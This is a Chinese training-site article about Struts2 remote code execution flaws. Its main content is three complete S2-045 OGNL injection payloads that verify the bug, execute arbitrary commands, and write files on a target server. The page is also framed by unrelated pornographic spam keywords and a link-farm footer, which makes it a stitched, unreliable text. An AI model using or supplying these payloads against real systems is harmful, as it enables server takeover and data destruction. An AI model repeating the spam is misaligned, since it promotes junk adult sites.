黄色网址大全免费-黄色网址你懂得-黄色网址你懂的-黄色网址有那些-免费超爽视频-免费大片黄国产在线观看

專注Java教育14年 全國咨詢/投訴熱線:400-8080-105
動力節點LOGO圖
始于2009,口口相傳的Java黃埔軍校
首頁 hot資訊 Struts2漏洞利用工具的檢查方法

Struts2漏洞利用工具的檢查方法

更新時間:2022-04-12 09:11:29 來源:動力節點 瀏覽3282次

Struts2是一個基于MVC設計模式的Web應用框架,但2存在遠程代碼執行的漏洞,動力節點小編認為,檢測出漏洞就要進行Struts2漏洞修復,現在Struts2漏洞檢測工具2017版增加S2-046,官方發布S2-046和S2-045漏洞引發原因一樣,只是利用漏洞的位置發生了變化,S2-046方式可能繞過部分WAF防護,存在S2-045就存在S2-046。

當Struts2開啟devMode模式時,將導致嚴重遠程代碼執行漏洞。如果WebService啟動權限為最高權限時,可遠程執行任意命令,包括關機、建立新用戶、以及刪除服務器上所有文件等等。

支持S2-057 CVE-2018-11776 、S2-048 CVE-2017-9791、S2-046 CVE-2017-5638、S2-045 CVE-2017-5638、S2-037 CVE-2016-4438、 S2-032 CVE-2016-3081 、S2-020 CVE-2014-0094 、S2-019 CVE-2013-4316等漏洞檢測!

Apache Struts2存在遠程代碼執行的高危漏洞(S2-057/CVE-2018-11776),該漏洞由Semmle Security Research team的安全研究員Man YueMo發現。該漏洞是由于在Struts2開發框架中使用namespace功能定義XML配置時,namespace值未被設置且在上層動作配置(Action Configuration)中未設置或用通配符namespace,可能導致遠程代碼執行。同理,url標簽未設置value和action值且上層動作未設置或用通配符namespace時也可能導致遠程代碼執行!

相關exp:

S2-045:

1.驗證漏洞,修改Content-Type,返回內容為“webpath”代表存在漏洞。

%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).

(#_memberAccess?(#_memberAccess=#dm):

((#container=#context['com.opensymphony.xwork2.ActionContext.container']).

(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).

(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).

(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).

(#res=@org.apache.struts2.ServletActionContext@getResponse()).

(#res.setContentType('text/html;charset=UTF-8')).(#res.getWriter().print('web')).

(#res.getWriter().print('path')).(#res.getWriter().flush()).(#res.getWriter().close())}

2.執行命令

%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).

(#_memberAccess?(#_memberAccess=#dm):

((#container=#context['com.opensymphony.xwork2.ActionContext.container']).

(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).

(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).

(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).

(#res=@org.apache.struts2.ServletActionContext@getResponse()).

(#res.setContentType('text/html;charset=UTF-8')).(#s=new java.util.Scanner((new

java.lang.ProcessBuilder('[cmd]'.toString().split('s'))).start().getInputStream()).useDelimiter('AAAA')).

(#str=#s.hasNext()?#s.next():'').(#res.getWriter().print(#str)).(#res.getWriter().flush()).

(#res.getWriter().close()).(#s.close())}

3.上傳文件:

%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).

(#_memberAccess?(#_memberAccess=#dm):

((#container=#context['com.opensymphony.xwork2.ActionContext.container']).

(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).

(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).

(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).

(#res=@org.apache.struts2.ServletActionContext@getResponse()).

(#res.setContentType('text/html;charset=UTF-8')).(new java.io.BufferedWriter(new

java.io.FileWriter([path])).append(#req.getHeader('test')).close()).(#res.getWriter().print('oko')).

(#res.getWriter().print('kok/')).(#res.getWriter().print(#req.getContextPath())).(#res.getWriter().flush()).

(#res.getWriter().close())}

以上就是關于“Struts2漏洞利用工具的檢查方法”介紹,大家如果想了解更多相關知識,不妨來關注一下動力節點的Struts2視頻教程,里面的內容更加豐富,課程由淺到深,通俗易懂,適合沒有基礎的小伙伴學習,希望對大家能夠有所幫助。

提交申請后,顧問老師會電話與您溝通安排學習

免費課程推薦 >>
技術文檔推薦 >>
主站蜘蛛池模板: 成人h在线播放 | 中文字幕日本久久2019 | 国产精品午夜免费观看网站 | 成人网18免费网 | 揉大乳gif动态图 | 国产黑丝袜在线 | 午夜伦理在线观看 | 手机在线成人精品视频网 | 涩涩资源站| 7m视频在线观看高清国产7m | 夜夜操夜夜摸 | 国产papa| 天天爽天天干 | free中国性xxxx| 嫩模被xxxx视频在线观看 | 视频午夜 | 色秀视频免费高清网站 | 国产91在线视频 | 国产黄在线观看 | 日日碰碰视频播放 | 亚洲成aⅴ人片在线影院八 亚洲成av人片在线观看 | 国产一区二区三区在线影院 | 日韩一级精品久久久久 | 国产一级特黄生活片 | 青青青青青青草 | 精品国产自在现线看久久 | 一级成人毛片免费观看 | 一级毛片免费视频 | 一97日本道伊人久久综合影院 | 中文字幕欧美在线观看 | 三级黄视频 | 欧美一级做一a做片性视频 欧美一级做性受 | 新久草视频 | 免费看日批 | 欧美怡红院免费的全部视频 | 国产高清一区二区三区 | 欧美成人a人片 | 亚洲成色在线综合网站 | 波多野结衣一区二区三区88 | 色妇视频 | 91小视频在线观看免费版高清 |